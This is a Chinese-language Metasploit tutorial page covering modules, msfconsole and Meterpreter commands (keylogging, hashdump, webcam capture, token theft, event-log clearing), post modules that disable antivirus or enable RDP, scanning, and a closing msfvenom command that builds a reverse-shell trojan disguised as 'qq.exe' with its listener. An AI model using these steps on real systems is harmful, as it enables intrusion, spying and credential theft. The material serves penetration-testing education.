工具
01MetasploitFramework
02Nmap
03SQLMap
-
+
首页
01MetasploitFramework
# 概述 MSF全称为MetasploitFramework,Metasploit是用Ruby编写的, Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。 MSF的设计初衷是打造一个攻击工具开发平台,官网:[www.metasploit.com](http://www.metasploit.com/) # metasploit模型框架图  在 Metasploit Framework 中,所有模块都是 Ruby 类。 - *模块*继承自特定于类型的类 - 特定于类型的类继承自 Msf::Module 类 - 模块之间有一个共享的通用 API *有效载荷*略有不同。 - 有效负载在运行时从各种组件创建 - 将每个模块连接在了一起 # 模块  **Auxiliary modules** 辅助模块,该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试 **Encoder modules** 编码模块,该模块在渗透测试中负责免杀,以防止被杀毒软件、防火墙、 IDS及类似的安全软件检测出来。 **Evasion modules ** 规避模块,通常用于使用户能够生成旨在逃避防病毒的规避有效负载,例如Windows Defender,而无需安装外部工具。 **Exploit modules ** 漏洞利用模块,漏洞利用是指由渗透测试者利用 一个系统、应用或者服务中的安全漏洞进行的攻击行为 。 流行的渗透攻击技术包括缓冲区溢出、 Web应用程序攻击,以及利用配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序,用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码 。 **Nop modules ** “无”模块,通常用于生成一系列不执行副作用的“无操作”指令。NOP 通常与堆栈缓冲区溢出结合使用。 **Payloads modules** 攻击载荷模块,攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码,在Metasploit框架中可以自由地选择、传送和植入 。攻击载荷也可能是简单地在目标操作系统上执行一些命令,如添加用户账号等 。 有效负载模块封装了作为漏洞利用成功的结果而执行的任意代码(shellcode)。这通常涉及创建 Metasploit 会话,但可以改为执行代码,例如添加用户帐户,或执行简单的 pingback 命令,以验证针对易受攻击的目标执行代码是否成功。 有效负载模块也可以单独用于生成独立的可执行文件,或用于漏洞利用的shellcode **Post modules** 后渗透模块,该模块主要用于在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、实施跳板攻击等。 # 控制台及常用命令 进入控制台,msfconsole  MSFconsole 有许多不同的命令选项可供选择,以下是一组核心的 Metasploit 命令 ### ? &help **help或?** 命令将为您提供所有可用命令的列表和简短描述。  ### back 使用完特定模块后,或者无意中选择了错误的模块,可以发出 **back** 命令以移出当前上下文。  ### banner 随机显示进入msf console后的图标   ### check 该命令可以检查目标是否容易受到特定漏洞的攻击,而不是直接利用它。  ### connect msfconsole 中内置了一个微型 Netcat 克隆,支持 SSL、代理、透视和文件传输。 通过使用 IP 地址和端口号发出**连接**命令,您可以从 msfconsole 中连接到远程主机,就像使用 Netcat 或 Telnet 一样。  connect -h 查看帮助文档  ### exit 退出命令将简单地**退出** msfconsole。  ### grep **grep** 命令类似于 Linux grep,它匹配另一个 msfconsole 命令输出中的给定模式。  搜索 包含字符串http的oracle模块 grep http search oracle  ### info **info** 命令将提供有关特定模块的详细信息,包括所有选项、目标和其他信息。请务必在使用模块说明之前始终阅读模块说明,因为有些可能会产生不希望的效果。 info 命令还提供以下信息: - 作者和许可信息 - 漏洞参考(即:CVE、BID等) - 模块可能具有的任何有效负载限制  ### irb 运行 **irb** 命令会将您放入一个实时的 Ruby 解释器外壳,您可以在其中发出命令并即时创建 Metasploit 脚本。此功能对于理解框架的内部结构也非常有用。  ### jobs 查看工作在后台的模块  ### kill 终止正在工作的任务  ### load load命令可以从Metasploit插件目录中加载插件,可通过key=value的形式传参  ### unload 卸载命令**卸载**以前加载的插件并删除任何扩展命令  ### loadpath 路径加载,**loadpath** 命令将为路径加载第三方模块树,以便您可以将 Metasploit 指向您的 0day漏洞、编码器、有效负载等。 ### search msfconsole 包括广泛的基于正则表达式的搜索功能。如果您对要查找的内容有一个大致的了解,可以通过搜索进行**搜索**。 请注意,Metasploit 模块的命名规则使用下划线而不是连字符。  **search命令 相关参数** ```kali msf6 > search -h Usage: search [<options>] [<keywords>:<value>] Prepending a value with '-' will exclude any matching results. If no options or keywords are provided, cached results are displayed. OPTIONS: -h, --help Help banner -I, --ignore Ignore the command if the only match has the same name as the search -o, --output <filename> Send output to a file in csv format -r, --sort-descending <column> Reverse the order of search results to descending order -S, --filter <filter> Regex pattern used to filter search results -s, --sort-ascending <column> Sort search results by the specified column in ascending order -u, --use Use module if there is one result Keywords: aka : Modules with a matching AKA (also-known-as) name author : Modules written by this author arch : Modules affecting this architecture bid : Modules with a matching Bugtraq ID cve : Modules with a matching CVE ID edb : Modules with a matching Exploit-DB ID check : Modules that support the 'check' method date : Modules with a matching disclosure date description : Modules with a matching description fullname : Modules with a matching full name mod_time : Modules with a matching modification date name : Modules with a matching descriptive name path : Modules with a matching path platform : Modules affecting this platform port : Modules with a matching port rank : Modules with a matching rank (Can be descriptive (ex: 'good') or numeric with comparison operators (ex: 'gte400')) ref : Modules with a matching ref reference : Modules with a matching reference target : Modules affecting this target type : Modules of a specific type (exploit, payload, auxiliary, encoder, evasion, post, or nop) Supported search columns: rank : Sort modules by their exploitabilty rank date : Sort modules by their disclosure date. Alias for disclosure_date disclosure_date : Sort modules by their disclosure date name : Sort modules by their name type : Sort modules by their type check : Sort modules by whether or not they have a check method Examples: search cve:2009 type:exploit search cve:2009 type:exploit platform:-linux search cve:2009 -s name search type:exploit -s type -r ``` 例如:search cve:2023 platform:windows type:exploit  ### sessions Session命令允许你列出生成的会话、与之交互和终止生成的**会话**。会话可以是shell,Meterpreter会话,VNC等。 **相关参数** ```txt msf6 > sessions -h Usage: sessions [options] or sessions [id] Active session manipulation and interaction. OPTIONS: -c, --command <command> Run a command on the session given with -i, or all -C, --meterpreter-command <command> Run a Meterpreter Command on the session given with -i, or all -d, --list-inactive List all inactive sessions -h, --help Help banner -i, --interact <id> Interact with the supplied session ID -k, --kill <id> Terminate sessions by session ID and/or range -K, --kill-all Terminate all sessions -l, --list List all active sessions -n, --name <id> <name> Name or rename a session by ID -q, --quiet Quiet mode -s, --script <script> Run a script or module on the session given with -i, or all -S, --search <filter> Row search filter. -t, --timeout <seconds> Set a response timeout (default: 15) -u, --upgrade <id> Upgrade a shell to a meterpreter session on many platforms -v, --list-verbose List all active sessions in verbose mode -x, --list-extended Show extended information in the session table Many options allow specifying session ranges using commas and dashes. For example: sessions -s checkvm -i 1,3-5 or sessions -k 1-2,5,6 ``` ### use 当您决定使用某个特定模块时,请发出use命令来选择它。 use命令会将上下文更改为特定模块,从而显示特定类型的命令. 通过search命令搜索对于的模块,搜索后使用use选择需要使用模块  还可以使用use + 模块前面的序列号  ### show  在msfconsole中输入show + 模块名,则会显示该模块下的对应使用文件,例如:  如果选中了某个模块,则可以使用show options命令,显示当前模块文件中可用或需要的设置的相关参数  如果不确定该漏洞利用模块是否适用于攻击目标,可以使用show targets命令。  如果希望进一步微调漏洞利用,可以通过show advanced 来查看更多选项。  显示 MSF 中可用的编码器列表,可以使用show encoders  show nops命令将显示Metasploit必须提供的NOP生成器  ### set set命令允许你为正在使用的模块配置框架或者参数  ### unset **与 set** 命令相反的是**未设置**,**取消设置**将删除以前使用 **set** 配置的参数。您可以删除所有未**设置的**赋值变量。  ### setg 为了在渗透测试期间节省大量键入,可以用setg命令在 msfconsole 中设置全局变量,设置这些后,您可以在任意数量的漏洞利用和辅助模块中使用它们,还可以使用save保存当前环境,以便在下次启动 msfconsole 时使用。 但是,请不要忘记你已经保存了全局变量,因此在**运行**或**利用**之前请务必检查您的选项。相反,您可以使用 **unsetg** 命令取消设置全局变量。在下面的示例中,变量以全大写字母(即:LHOST)输入,但 Metasploit 不区分大小写,因此没有必要这样做。  在需要帮助的任何时候,都可以使用 **help** 命令来显示可用选项 ### exploit & run 当所有配置已经完成,就可以使用命令 run或exploit发起攻击  ```txt Usage: run [options] [RHOSTS] Run the current exploit module OPTIONS: -e, --encoder <encoder> The payload encoder to use. If none is specified, ENCODER is used. -f, --force-run Force the exploit to run regardless of the value of MinimumRank. -h, --help Help banner. -J, --foreground Force running in the foreground, even if passive. -j, --job Run in the context of a job. -n, --nop-generator <generator> The NOP generator to use. If none is specified, NOP is used. -o, --options <options> A comma separated list of options in VAR=VAL format. -p, --payload <payload> The payload to use. If none is specified, PAYLOAD is used. -q, --quiet Run the module in quiet mode with no output -t, --target <target> The target index to use. If none is specified, TARGET is used. -z, --no-interact Do not interact with the session after successful exploitation. Examples: run 192.168.1.123 run 192.168.1.1-192.168.1.254 run file:///tmp/rhost_list.txt run smb://192.168.1.123 run smb://user:pass@192.168.1.123 Learn more at https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html ```  # 数据库 Metasploit内置了对PostgreSQL数据库系统的支持。 该系统允许快速轻松地访问扫描信息,并使我们能够从各种第三方工具*导入和导出扫描结果*。我们还可以使用此信息来相当快速地配置模块选项。最重要的是,它使我们的结果保持干净和有条理。 在使用之前,需要启动postgresql服务器  启动 postgresql 后,您需要使用 **msfdb init** 创建并初始化 msf 数据库  加载msfconsole后,使用db_status查看数据库状态  查看当前的工作空间  创建新的工作空间  删除vuln工作空间  更多命令: ``` Usage: workspace List workspaces workspace [name] Switch workspace OPTIONS: -a, --add <name> Add a workspace. -d, --delete <name> Delete a workspace. -D, --delete-all Delete all workspaces. -h, --help Help banner. -l, --list List workspaces. -r, --rename <old> <new> Rename a workspace. -S, --search <name> Search for a workspace. -v, --list-verbose List workspaces verbosely. ``` **关于数据库相关参数** ``` Database Backend Commands ========================= Command Description ------- ----------- analyze Analyze database information about a specific address or address range db_connect Connect to an existing data service db_disconnec Disconnect from the current data service t db_export Export a file containing the contents of the database db_import Import a scan result file (filetype will be auto-detected) db_nmap Executes nmap and records the output automatically db_rebuild_c Rebuilds the database-stored module cache (deprecated) ache db_remove Remove the saved data service entry db_save Save the current data service connection as the default to reconnect on startup db_status Show the current data service status hosts List all hosts in the database klist List Kerberos tickets in the database loot List all loot in the database notes List all notes in the database services List all services in the database vulns List all vulnerabilities in the database workspace Switch between database workspaces ``` # Meterpreter ### 概述 Meterpreter 是一种高级、动态可扩展的有效负载,它使用内存中 DLL 注入payload并在运行时通过网络进行扩展。它通过暂存套接字进行通信,并提供全面的客户端 Ruby API。它具有命令历史记录、选项卡完成、通道等功能。 Metepreter最初由skape为Metasploit 2.x编写,常见的扩展被合并为3.x,目前正在对Metasploit 3.3进行大修。服务器部分以纯 C 语言实现,现在使用 MSVC 编译,使其具有一定的可移植性。客户端可以用任何语言编写,但Metasploit有一个功能齐全的Ruby客户端API。 **相关特性** - Meterpreter 完全驻留在内存中,不会向磁盘写入任何内容。 - 不会创建新进程,因为 Meterpreter 将自身注入到受感染的进程中,并且可以轻松迁移到其他正在运行的进程。 - 默认情况下,Meterpreter 使用加密通信。 - Meterpreter利用信道化通信系统。 - TLV协议几乎没有限制。 - 功能可以在运行时进行扩充,并通过网络加载。 - 新功能可以添加到Meterpreter,而无需重建它。 ### 基础命令 当拿到meterpreter权限后,可以使用help命令查看可以执行哪些命令  ``` Core Commands ============= Command Description ------- ----------- ? Help menu background Backgrounds the current session bg Alias for background bgkill Kills a background meterpreter script bglist Lists running background scripts bgrun Executes a meterpreter script as a background thread channel Displays information or control active channels close Closes a channel detach Detach the meterpreter session (for http/https) disable_unic Disables encoding of unicode strings ode_encoding enable_unico Enables encoding of unicode strings de_encoding exit Terminate the meterpreter session get_timeouts Get the current session timeout values guid Get the session GUID help Help menu info Displays information about a Post module irb Open an interactive Ruby shell on the current session load Load one or more meterpreter extensions machine_id Get the MSF ID of the machine attached to the session migrate Migrate the server to another process pivot Manage pivot listeners pry Open the Pry debugger on the current session quit Terminate the meterpreter session read Reads data from a channel resource Run the commands stored in a file run Executes a meterpreter script or Post module secure (Re)Negotiate TLV packet encryption on the session sessions Quickly switch to another session set_timeouts Set the current session timeout values sleep Force Meterpreter to go quiet, then re-establish session ssl_verify Modify the SSL certificate verification setting transport Manage the transport mechanisms use Deprecated alias for "load" uuid Get the UUID for the current session write Writes data to a channel Stdapi: File system Commands ============================ Command Description ------- ----------- cat Read the contents of a file to the screen cd Change directory checksum Retrieve the checksum of a file cp Copy source to destination del Delete the specified file dir List files (alias for ls) download Download a file or directory edit Edit a file getlwd Print local working directory getwd Print working directory lcat Read the contents of a local file to the screen lcd Change local working directory lls List local files lpwd Print local working directory ls List files mkdir Make directory mv Move source to destination pwd Print working directory rm Delete the specified file rmdir Remove directory search Search for files show_mount List all mount points/logical drives upload Upload a file or directory Stdapi: Networking Commands =========================== Command Description ------- ----------- arp Display the host ARP cache getproxy Display the current proxy configuration ifconfig Display interfaces ipconfig Display interfaces netstat Display the network connections portfwd Forward a local port to a remote service resolve Resolve a set of host names on the target route View and modify the routing table Stdapi: System Commands ======================= Command Description ------- ----------- clearev Clear the event log drop_token Relinquishes any active impersonation token. execute Execute a command getenv Get one or more environment variable values getpid Get the current process identifier getprivs Attempt to enable all privileges available to the current process getsid Get the SID of the user that the server is running as getuid Get the user that the server is running as kill Terminate a process localtime Displays the target system local date and time pgrep Filter processes by name pkill Terminate processes by name ps List running processes reboot Reboots the remote computer reg Modify and interact with the remote registry rev2self Calls RevertToSelf() on the remote machine shell Drop into a system command shell shutdown Shuts down the remote computer steal_token Attempts to steal an impersonation token from the target process suspend Suspends or resumes a list of processes sysinfo Gets information about the remote system, such as OS Stdapi: User interface Commands =============================== Command Description ------- ----------- enumdesktops List all accessible desktops and window stations getdesktop Get the current meterpreter desktop idletime Returns the number of seconds the remote user has been idle keyboard_sen Send keystrokes d keyevent Send key events keyscan_dump Dump the keystroke buffer keyscan_star Start capturing keystrokes t keyscan_stop Stop capturing keystrokes mouse Send mouse events screenshare Watch the remote user desktop in real time screenshot Grab a screenshot of the interactive desktop setdesktop Change the meterpreters current desktop uictl Control some of the user interface components Stdapi: Webcam Commands ======================= Command Description ------- ----------- record_mic Record audio from the default microphone for X seconds webcam_chat Start a video chat webcam_list List webcams webcam_snap Take a snapshot from the specified webcam webcam_strea Play a video stream from the specified webcam m Stdapi: Audio Output Commands ============================= Command Description ------- ----------- play play a waveform audio file (.wav) on the target system Priv: Elevate Commands ====================== Command Description ------- ----------- getsystem Attempt to elevate your privilege to that of local system. Priv: Password database Commands ================================ Command Description ------- ----------- hashdump Dumps the contents of the SAM database Priv: Timestomp Commands ======================== Command Description ------- ----------- timestomp Manipulate file MACE attributes ``` ### post模块 在meterpreter权限下,可以使用run 命令运行post模块中的脚本  **检查受害者系统上的安全配置,并可以禁用其他安全措施,例如 A/V、防火墙等** getcountermeasure  **获取受害者的本地子网掩码** get_local_subnets  **受害者上启用 telnet(如果它被禁用)。**  **Keyscan** 键盘记录  **开启远程桌面** Run getgui  让我们尝试enable_rdp脚本  打开成功  **迁移进程** migrate  **网络钓鱼** phish 首先保存一个sessions  查询对应的模块   run  **给受害者设置壁纸**   设置好之后 run # 端口扫描 1、可以使用过db_nmap 命令对目标进行端口扫描,并且会将扫描结果自动的存储在数据库中。  可以使用hosts命令,查看当前数据库中保存的所有主机名  2、除此之外,还可以使用msf中的auxiliary 辅助模块进行端口扫描。 search portscan type:auxiliary  例如使用tcp模块进行扫描  需要填写rhosts,可以使用hosts -R参数,将数据库中主机全部加载到rhosts参数中  为了方便演示这里rhosts 仅仅设置一个参数  发起扫描  已经确定了网络上可用的主机,我们可以尝试确定它们正在运行的操作系统。这将帮助我们缩小攻击范围,以针对特定系统,并阻止我们将时间浪费在那些不容易受到特定漏洞攻击的系统上。 由于扫描中有许多系统打开了端口 445,因此我们将使用 **scanner/smb/version** 模块来确定目标上运行的 Windows 版本以及哪个版本samba版本位于 Linux 主机上。   # wmap漏洞扫描 wmap是一个功能丰富的 Web 应用程序漏洞扫描程序,允许我们从Metasploit框架中进行Web应用程序扫描。 首先进行加载wamp插件,然后使用help 查看帮助文档  ``` wmap Commands ============= Command Description ------- ----------- wmap_modules Manage wmap modules wmap_nodes Manage nodes wmap_run Test targets wmap_sites Manage sites wmap_targets Manage targets wmap_vulns Display web vulns ``` 在运行 Web 应用扫描之前,我们首先需要通过将 **-a** 开关传递给 **wmap_sites** 来添加新的目标 URL。之后,运行 **wmap_sites -l** 将打印出可用的目标。  使用wmap_targets参数添加目标  使用wmap_run 命令扫描目标站点 首先使用wmap_run -t 显示开启了哪些模块用于扫描  接着使用wmap -e 进行扫描  使用wmap_vulns -l 列出漏洞信息表  可以使用vulns命令 打印数据库中的漏洞  # Msfvenom ``` MsfVenom - a Metasploit standalone payload generator. Also a replacement for msfpayload and msfencode. Usage: /usr/bin/msfvenom [options] <var=val> Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe Options: -l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all -p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom --list-options List --payload <value>'s standard, advanced and evasion options -f, --format <format> Output format (use --list formats to list) -e, --encoder <encoder> The encoder to use (use --list encoders to list) --service-name <value> The service name to use when generating a service binary --sec-name <value> The new section name to use when generating large Windows binaries. Default: random 4-character alpha string --smallest Generate the smallest possible payload using all available encoders --encrypt <value> The type of encryption or encoding to apply to the shellcode (use --list encrypt to list) --encrypt-key <value> A key to be used for --encrypt --encrypt-iv <value> An initialization vector for --encrypt -a, --arch <arch> The architecture to use for --payload and --encoders (use --list archs to list) --platform <platform> The platform for --payload (use --list platforms to list) -o, --out <path> Save the payload to a file -b, --bad-chars <list> Characters to avoid example: '\x00\xff' -n, --nopsled <length> Prepend a nopsled of [length] size on to the payload --pad-nops Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length) -s, --space <length> The maximum size of the resulting payload --encoder-space <length> The maximum size of the encoded payload (defaults to the -s value) -i, --iterations <count> The number of times to encode the payload -c, --add-code <path> Specify an additional win32 shellcode file to include -x, --template <path> Specify a custom executable file to use as a template -k, --keep Preserve the --template behaviour and inject the payload as a new thread -v, --var-name <value> Specify a custom variable name to use for certain output formats -t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable) -h, --help Show this message ``` 创建木马文件 ``` msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.105.129 lport=10086 -f exe -o qq.exe ```  设置监听模块  use exploit/multi/handler  设置和木马一样的payload、地址与端口  监听端run,只要木马被点击则会被监听成功 
毛林
2025年9月7日 11:43
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码